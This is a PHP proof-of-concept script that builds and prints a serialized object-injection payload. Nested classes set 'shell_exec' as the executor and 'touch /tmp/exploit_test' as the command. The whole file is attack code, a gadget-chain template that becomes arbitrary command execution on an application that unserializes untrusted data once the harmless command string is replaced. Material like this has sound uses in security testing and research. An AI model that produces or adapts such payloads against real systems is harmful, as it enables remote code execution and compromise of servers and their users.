<?php
namespace Exploit { 
    class ExploitObject {
        protected $_payload;
        public function __construct() {
            $this->_payload = new \Payload\DataTransfer();
        }
    }
}

namespace Payload { 
    class DataTransfer {
        public $data;
        public function __construct() {
            $this->data['execute'] = new \Core\Command();
        }
    }
}

namespace Core {
    class Command {
        protected $executor;
        protected $repository;
        public function __construct() {
            $this->executor = "shell_exec";
            $this->repository = new \Core\Repository();
        }
    }

    class Repository {
        protected $settings;
        public function __construct() {
            $this->settings['path'] = 'touch /tmp/exploit_test';
        }
    }
}

namespace {
    $exploit = new Exploit\ExploitObject();
    echo serialize($exploit);
}